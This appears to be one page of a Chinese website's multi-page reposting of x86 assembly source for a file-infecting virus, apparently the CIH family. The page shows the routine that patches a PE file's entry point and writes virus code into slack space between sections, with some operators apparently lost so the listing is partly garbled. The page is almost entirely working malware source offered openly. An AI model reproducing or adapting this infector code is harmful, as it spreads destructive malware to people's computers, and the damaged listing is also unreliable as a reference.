; * First, Virus Gets the * ; * PointerToRawData in the * ; * Second Section Table, * ; * Reads the Section Data, * ; * and Tests the String of * ; * 'WinZip(R)'...... * ; *************************** 逆@风@者
xchg eax, ebp push 00000004h pop ecx push edx mov edx, (SizeOfScetionTable PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO cmp dword ptr [esi], 'piZniW' je NotSetInfectedMark pop edx
; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; ***************************
; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections 1 push edi ; Size add edx, ebp push edx ; Pointer of File add ebp, esi push ebp ; Address of Buffer
; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; ***************************
lea eax, [ebp edi-04h] mov [eax], ebx
; *************************** ; * Let's Set My Virus * ; * First Section Code * ; ***************************
push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer
; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; *************************** ; * Setup Initial Data * ; ***************************
lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections
; *************************** ; * Write Code to Sections * ; ***************************
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax 4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; *************************** ; * Only Set Infected Mark * ; ***************************
OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile
; *************************** ; * Not Set Infected Mark * ; ***************************
NotSetInfectedMark: add esp, 3ch jmp CloseFile
; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; ***************************
SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp 08h], ebp
; Set End Mark xor ebx, ebx mov [eax-04h], ebx
; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * 本文章更多内容:<<上一页 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 下一页>> |